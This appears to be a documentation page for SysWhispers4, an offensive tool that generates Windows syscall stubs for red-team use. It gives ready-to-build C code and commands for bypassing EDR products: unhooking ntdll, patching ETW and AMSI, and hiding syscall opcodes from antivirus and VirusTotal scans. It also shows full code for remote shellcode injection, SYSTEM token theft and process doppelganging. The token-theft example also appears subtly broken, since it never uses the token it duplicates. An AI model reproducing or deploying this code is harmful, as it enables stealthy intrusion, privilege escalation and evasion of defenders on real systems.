Skip to main content

Overview

SysWhispers4 offers 8 SSN resolution methods, 4 invocation techniques, and 8 evasion options. This guide provides proven configurations for common scenarios.

Quick Reference

ScenarioCommandDetection ResistanceSpeed
Red Team (Maximum)--preset stealth + all flags★★★★★★★☆☆☆
Heavy EDR Bypass--resolve from_disk★★★★★★★★☆☆
CTF / Quick Test--preset common★★★☆☆★★★★★
Static Analysis Evasion--method egg★★★★☆★★★☆☆
Process Injection--preset injection★★★★☆★★★★☆
Token Manipulation--preset token★★★☆☆★★★★★
Process Doppelganging--preset transaction★★★★☆★★★☆☆

Red Team (Maximum Evasion)

Use Case

  • Long-term persistent access
  • Bypass modern EDR (CrowdStrike, SentinelOne, Defender ATP)
  • Avoid behavioral detection heuristics
  • Red team assessments with strict rules of engagement

Configuration

python syswhispers.py --preset stealth \
    --method randomized --resolve recycled \
    --obfuscate --encrypt-ssn --stack-spoof \
    --unhook-ntdll --etw-bypass --amsi-bypass \
    --anti-debug --sleep-encrypt

What It Does

FlagPurposeImpact
--preset stealth32 functions for injection + evasion + unhookingComprehensive coverage
--method randomizedRandom ntdll gadget per call (64 gadget pool)Defeats pattern analysis
--resolve recycledFreshyCalls + opcode validation (maximum hook resistance)Bypasses all hook types
--obfuscateStub reordering + 14 junk instruction variantsBreaks signatures
--encrypt-ssnXOR-encrypted SSN table at restNo plaintext SSNs in binary
--stack-spoofSynthetic ntdll return addressesClean call stack
--unhook-ntdllRemap clean .text from \KnownDllsRemoves all inline hooks
--etw-bypassPatch EtwEventWriteSTATUS_ACCESS_DENIEDSuppress user-mode ETW
--amsi-bypassPatch AmsiScanBufferE_INVALIDARGBypass AMSI scans
--anti-debug6 debugger/analysis checksDetect debugging attempts
--sleep-encryptEkko-style .text encryption during sleepEvade memory scanners

Integration Example

#include "SW4Syscalls.h"

int main(void) {
    // Step 1: Remove all hooks (call BEFORE Initialize)
    SW4_UnhookNtdll();
    
    // Step 2: Resolve SSNs dynamically
    if (!SW4_Initialize()) {
        return 1;
    }
    
    // Step 3: Apply evasion patches
    SW4_PatchEtw();     // Suppress ETW events
    SW4_PatchAmsi();    // Bypass AMSI
    
    // Step 4: Verify clean environment
    if (!SW4_AntiDebugCheck()) {
        // Debugger detected - abort or take evasive action
        return 0;
    }
    
    // Step 5: Use syscalls directly
    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS st = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );
    
    // Use encrypted sleep instead of Sleep()
    SW4_SleepEncrypt(5000);  // .text encrypted during sleep
    
    return NT_SUCCESS(st) ? 0 : 1;
}

Build (MSVC)

cl /O2 /GS- /DNDEBUG main.c SW4Syscalls.c SW4Syscalls.asm /link /OUT:payload.exe

Bypassing Heavily Hooked EDR

Use Case

  • CrowdStrike Falcon hooks every Nt* function
  • SentinelOne deep instrumentation
  • Multiple security products on same endpoint
  • Need guaranteed clean SSN resolution

Configuration

python syswhispers.py --preset injection \
    --method indirect --resolve from_disk \
    --unhook-ntdll --encrypt-ssn

Why This Works

Problem: EDR hooks every Nt* stub in the loaded ntdll:
ntdll!NtAllocateVirtualMemory:
    E9 XX XX XX XX    ; JMP to EDR handler ← Hooked!
Solution: --resolve from_disk maps a clean copy from \KnownDlls\ntdll.dll:
// Flow:
NtOpenSection("\KnownDlls\ntdll.dll")  // Clean unhooked copy
NtMapViewOfSection()                   // Map into our process
→ Read SSNs from clean .text             // No hooks present
NtUnmapViewOfSection()                 // Cleanup
The EDR never sees our SSN reads because we’re reading from an unhooked disk copy.

Integration

#include "SW4Syscalls.h"

int main(void) {
    // Optional: Remove existing hooks first
    SW4_UnhookNtdll();  // Maps clean ntdll and overwrites hooked .text
    
    // Initialize with from_disk resolver
    // This reads from a DIFFERENT clean copy (doesn't rely on unhooking)
    if (!SW4_Initialize()) {
        return 1;
    }
    
    // All calls now use clean SSNs + indirect gadgets in ntdll
    PVOID mem = NULL;
    SIZE_T sz = 0x1000;
    SW4_NtAllocateVirtualMemory(GetCurrentProcess(), &mem, 0, &sz,
                                 MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    return 0;
}

CTF / Quick Testing

Use Case

  • Capture The Flag competitions
  • Local privilege escalation testing
  • Quick prototyping
  • Learning syscall techniques

Configuration

python syswhispers.py --preset common

What You Get

  • 25 functions: Process/thread/memory operations
  • Default resolver: FreshyCalls (sort-by-VA, works on most systems)
  • Default method: Embedded direct syscall (fastest)
  • No evasion overhead: Clean, minimal code

Functions Included

// Memory
NtAllocateVirtualMemory, NtFreeVirtualMemory, NtWriteVirtualMemory,
NtReadVirtualMemory, NtProtectVirtualMemory, NtQueryVirtualMemory

// Process/Thread
NtCreateThreadEx, NtOpenProcess, NtOpenThread, NtSuspendThread,
NtResumeThread, NtGetContextThread, NtSetContextThread,
NtTerminateProcess, NtTerminateThread

// Section
NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection

// Other
NtClose, NtDuplicateObject, NtWaitForSingleObject,
NtQueryInformationProcess, NtSetInformationProcess,
NtQuerySystemInformation, NtDelayExecution

Build (MinGW)

x86_64-w64-mingw32-gcc -O2 -masm=intel \
    main.c SW4Syscalls.c SW4Syscalls_stubs.c \
    -o exploit.exe -lntdll

Static Analysis Evasion

Use Case

  • Bypass sandbox static analysis
  • Evade AV signature scans
  • Submit to VirusTotal without immediate detection
  • Avoid on-disk syscall opcode signatures

Configuration

python syswhispers.py --preset injection \
    --method egg --resolve halos_gate \
    --obfuscate

How It Works

At compile time:
; Instead of:
syscall               ; 0F 05 ← Detectable!

; Egg hunt generates:
db 0A1h, 0B2h, 0C3h, 0D4h, 0E5h, 0F6h, 07h, 08h  ; Random 8-byte egg
At runtime:
SW4_HatchEggs();  // Scans .text, replaces each egg with 0F 05 90 90 90 90 90 90
Result: syscall opcode never appears in the on-disk binary.

Integration

#include "SW4Syscalls.h"

int main(void) {
    // CRITICAL: Hatch eggs before any syscall
    SW4_HatchEggs();    // Replace egg markers with syscall opcodes
    
    // Now initialize SSN resolution
    if (!SW4_Initialize()) {
        return 1;
    }
    
    // Syscalls now functional
    HANDLE hProc;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    CLIENT_ID cid = {0};
    cid.UniqueProcess = (HANDLE)1234;
    
    SW4_NtOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);
    SW4_NtClose(hProc);
    
    return 0;
}

Verification

# Before execution - no syscall opcode
xxd payload.exe | grep "0f 05"
# (no output)

# After SW4_HatchEggs() - opcodes present in memory only

Process Injection

Use Case

  • Shellcode injection
  • APC injection
  • Section-based injection
  • Thread hijacking

Configuration

python syswhispers.py --preset injection \
    --method indirect --resolve tartarus

Functions Included

// Memory management
NtAllocateVirtualMemory, NtFreeVirtualMemory, NtWriteVirtualMemory,
NtReadVirtualMemory, NtProtectVirtualMemory

// Thread operations
NtCreateThreadEx, NtOpenThread, NtSuspendThread, NtResumeThread,
NtGetContextThread, NtSetContextThread

// APC injection
NtQueueApcThread, NtQueueApcThreadEx, NtAlertResumeThread, NtTestAlert

// Section mapping
NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection

// Process access
NtOpenProcess, NtClose

Classic Injection Example

#include "SW4Syscalls.h"

int inject_shellcode(DWORD target_pid, unsigned char* shellcode, SIZE_T sc_len) {
    HANDLE hProc;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    CLIENT_ID cid = {0};
    cid.UniqueProcess = (HANDLE)(ULONG_PTR)target_pid;
    
    // 1. Open target process
    NTSTATUS st = SW4_NtOpenProcess(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);
    if (!NT_SUCCESS(st)) return 0;
    
    // 2. Allocate memory
    PVOID remote_mem = NULL;
    SIZE_T region_size = sc_len;
    st = SW4_NtAllocateVirtualMemory(hProc, &remote_mem, 0, &region_size,
                                      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(st)) {
        SW4_NtClose(hProc);
        return 0;
    }
    
    // 3. Write shellcode
    st = SW4_NtWriteVirtualMemory(hProc, remote_mem, shellcode, sc_len, NULL);
    if (!NT_SUCCESS(st)) {
        SW4_NtFreeVirtualMemory(hProc, &remote_mem, &region_size, MEM_RELEASE);
        SW4_NtClose(hProc);
        return 0;
    }
    
    // 4. Change to RX
    ULONG old_protect;
    st = SW4_NtProtectVirtualMemory(hProc, &remote_mem, &region_size,
                                     PAGE_EXECUTE_READ, &old_protect);
    
    // 5. Create remote thread
    HANDLE hThread;
    st = SW4_NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc,
                              remote_mem, NULL, 0, 0, 0, 0, NULL);
    
    if (NT_SUCCESS(st)) {
        SW4_NtClose(hThread);
    }
    
    SW4_NtClose(hProc);
    return NT_SUCCESS(st);
}

Token Manipulation

Use Case

  • Privilege escalation
  • Token impersonation
  • SeDebugPrivilege enablement
  • SYSTEM token theft

Configuration

python syswhispers.py --preset token \
    --method indirect --resolve freshycalls

Enable SeDebugPrivilege

#include "SW4Syscalls.h"

BOOL enable_debug_privilege(void) {
    HANDLE hToken;
    NTSTATUS st;
    
    // Open current process token
    st = SW4_NtOpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
    if (!NT_SUCCESS(st)) return FALSE;
    
    // Prepare privilege structure
    TOKEN_PRIVILEGES tp = {0};
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid.LowPart = 20;  // SE_DEBUG_PRIVILEGE
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // Adjust privileges
    st = SW4_NtAdjustPrivilegesToken(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
    SW4_NtClose(hToken);
    return NT_SUCCESS(st);
}

Token Impersonation

BOOL steal_system_token(DWORD system_pid) {
    HANDLE hProc, hToken, hDupToken;
    OBJECT_ATTRIBUTES oa = {sizeof(oa)};
    CLIENT_ID cid = {0};
    cid.UniqueProcess = (HANDLE)(ULONG_PTR)system_pid;
    
    // Open SYSTEM process
    NTSTATUS st = SW4_NtOpenProcess(&hProc, PROCESS_QUERY_INFORMATION, &oa, &cid);
    if (!NT_SUCCESS(st)) return FALSE;
    
    // Open process token
    st = SW4_NtOpenProcessToken(hProc, TOKEN_DUPLICATE, &hToken);
    SW4_NtClose(hProc);
    if (!NT_SUCCESS(st)) return FALSE;
    
    // Duplicate token
    SECURITY_QUALITY_OF_SERVICE sqos = {sizeof(sqos), SecurityImpersonation, FALSE, FALSE};
    oa.SecurityQualityOfService = &sqos;
    
    st = SW4_NtDuplicateToken(hToken, TOKEN_ALL_ACCESS, &oa, FALSE,
                              TokenImpersonation, &hDupToken);
    SW4_NtClose(hToken);
    if (!NT_SUCCESS(st)) return FALSE;
    
    // Impersonate
    st = SW4_NtImpersonateThread(GetCurrentThread(), GetCurrentThread(), &sqos);
    SW4_NtClose(hDupToken);
    
    return NT_SUCCESS(st);
}

Process Doppelganging

Use Case

  • Execute code without creating suspicious process create events
  • Bypass application whitelisting
  • Evade process creation monitoring

Configuration

python syswhispers.py --preset transaction \
    --method indirect --resolve freshycalls

Functions Included

NtCreateTransaction    // Create NTFS transaction
NtRollbackTransaction  // Rollback (delete file after load)
NtCommitTransaction    // Commit (persist file)
NtCreateSection        // Map transacted file
NtCreateProcessEx      // Create process from section
NtCreateThreadEx       // Start execution
NtClose                // Cleanup

Basic Flow

// 1. Create transaction
HANDLE hTransaction;
SW4_NtCreateTransaction(&hTransaction, ...);

// 2. Create file in transaction context
HANDLE hFile;
SW4_NtCreateFile(&hFile, ..., hTransaction);

// 3. Write payload to file
SW4_NtWriteFile(hFile, payload, payload_size, ...);

// 4. Create section from transacted file
HANDLE hSection;
SW4_NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                    PAGE_READONLY, SEC_IMAGE, hFile);

// 5. Create process from section
HANDLE hProcess;
SW4_NtCreateProcessEx(&hProcess, ..., hSection, ...);

// 6. Rollback transaction (file disappears!)
SW4_NtRollbackTransaction(hTransaction, TRUE);

// 7. Create thread in new process
HANDLE hThread;
SW4_NtCreateThreadEx(&hThread, ..., hProcess, entrypoint, ...);

// Process is now running, but original file was never committed to disk

Architecture-Specific Configs

ARM64 (Windows on ARM)

python syswhispers.py --preset common --arch arm64
Generates ARM64 assembly using SVC #0 instruction with syscall number in w8 register.

x86 (32-bit)

python syswhispers.py --preset injection --arch x86
Uses sysenter instruction instead of syscall.

WoW64 (32-bit on 64-bit Windows)

python syswhispers.py --preset common --arch wow64
Implements Heaven’s Gate transition to execute 64-bit syscalls from 32-bit code.

Compiler-Specific Builds

MSVC (Default)

python syswhispers.py --preset common
cl main.c SW4Syscalls.c SW4Syscalls.asm /link /OUT:main.exe
Requires MASM enabled in Visual Studio: Project → Build Customizations → masm

MinGW

python syswhispers.py --preset common --compiler mingw
x86_64-w64-mingw32-gcc -masm=intel main.c SW4Syscalls.c SW4Syscalls_stubs.c -o main.exe
Uses GAS inline assembly instead of separate .asm file.

Clang

python syswhispers.py --preset common --compiler clang
clang -target x86_64-pc-windows-msvc -masm=intel main.c SW4Syscalls.c SW4Syscalls_stubs.c -o main.exe

Performance Comparison

ConfigurationInitialization TimePer-Call OverheadBinary Size
--resolve static~1 µsNone+8 KB
--resolve freshycalls~200 µsNone+12 KB
--resolve from_disk~5 msNone+15 KB
--method embeddedNoneBaseline
--method indirect+50 µs (gadget search)~2 cycles+2 KB
--method randomized+50 µs~8 cycles (RDTSC)+4 KB
--sleep-encrypt~500 µs/sleep+6 KB
Times measured on Intel i7-10700K @ 3.8GHz, Windows 11 23H2. Your mileage may vary.

Next Steps

Build docs developers (and LLMs) love